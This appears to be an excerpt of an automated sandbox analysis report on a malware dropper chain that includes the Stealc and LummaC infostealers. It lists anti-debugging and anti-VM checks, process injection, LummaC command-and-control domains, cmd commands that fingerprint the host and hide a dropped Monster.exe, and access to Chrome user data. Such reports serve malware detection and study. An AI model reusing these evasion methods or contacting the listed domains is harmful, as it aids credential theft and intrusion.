Source: random.exe.6.exe, 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: v_dolg.exe, 00000020.00000003.3181380841.0000000000DF0000.00000004.00001000.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3181486253.0000000000DF0000.00000004.00001000.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3181840753.0000000000DF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__=l{TW
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uwmic path Win32_ComputerSystem get ManufacturercVMwarecvmwareuAntiVM.CheckHypervisoraFakeErrorT

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	API call chain: ExitProcess graph end node	graph_2-11309
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	API call chain: ExitProcess graph end node	graph_2-11368
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	API call chain: ExitProcess graph end node	graph_3-11396
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	API call chain: ExitProcess graph end node	graph_3-11455
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	API call chain: ExitProcess graph end node	graph_20-82776
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	API call chain: ExitProcess graph end node	graph_20-83954
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	API call chain: ExitProcess graph end node	graph_20-82779
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	API call chain: ExitProcess graph end node	graph_20-82618
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	API call chain: ExitProcess graph end node	graph_20-82819
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	API call chain: ExitProcess graph end node	graph_20-82798
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	API call chain: ExitProcess graph end node	graph_20-82790

Source: C:\Users\user\Desktop\random.exe.6.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\random.exe.6.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\random.exe.6.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\random.exe.6.exe

Code function: 1_2_053006D3 Start: 0530070A End: 05300706

1_2_053006D3

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\random.exe.6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Process queried: DebugObjectHandle

Source: C:\Users\user\Desktop\random.exe.6.exe

Code function: 1_2_0530071B rdtsc

1_2_0530071B

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: 20_2_0064AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

20_2_0064AD48

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: 20_2_006345C0 VirtualProtect ?,00000004,00000100,00000000

20_2_006345C0

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

20_2_00649860

Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00AD645B mov eax, dword ptr fs:[00000030h]	1_2_00AD645B
Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00ADA1C2 mov eax, dword ptr fs:[00000030h]	1_2_00ADA1C2
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006CA1C2 mov eax, dword ptr fs:[00000030h]	2_2_006CA1C2
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006C645B mov eax, dword ptr fs:[00000030h]	2_2_006C645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006CA1C2 mov eax, dword ptr fs:[00000030h]	3_2_006CA1C2
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006C645B mov eax, dword ptr fs:[00000030h]	3_2_006C645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006CA1C2 mov eax, dword ptr fs:[00000030h]	19_2_006CA1C2
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006C645B mov eax, dword ptr fs:[00000030h]	19_2_006C645B
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_00649750 mov eax, dword ptr fs:[00000030h]	20_2_00649750

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: 20_2_00647850 GetProcessHeap,HeapAlloc,GetUserNameA,

20_2_00647850

Source: C:\Windows\System32\tasklist.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0064AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0064AD48
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0064CEEA SetUnhandledExceptionFilter,	20_2_0064CEEA
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0064B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0064B33A
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C55B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_6C55B66C
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C55B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_6C55B1F7
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C70AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_6C70AC62

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: stealc_default2.exe PID: 5012, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Memory written: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Memory written: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: 20_2_00649600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

20_2_00649600

Source: C:\Users\user\Desktop\random.exe.6.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe "C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe "C:\Users\user\AppData\Local\Temp\1004899001\am209.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe "C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe "C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Process created: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Process created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe "C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe"
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: random.exe.6.exe, 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: NProgram Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 19_2_006ADCC1 cpuid

19_2_006ADCC1

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

20_2_00647B90

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006591001\sintv.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006591001\sintv.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007054001\trunk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007054001\trunk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ssl.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ssl.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ssl.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ssl.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\921a1560-5524-44c0-8495-fce7014dcfba VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation
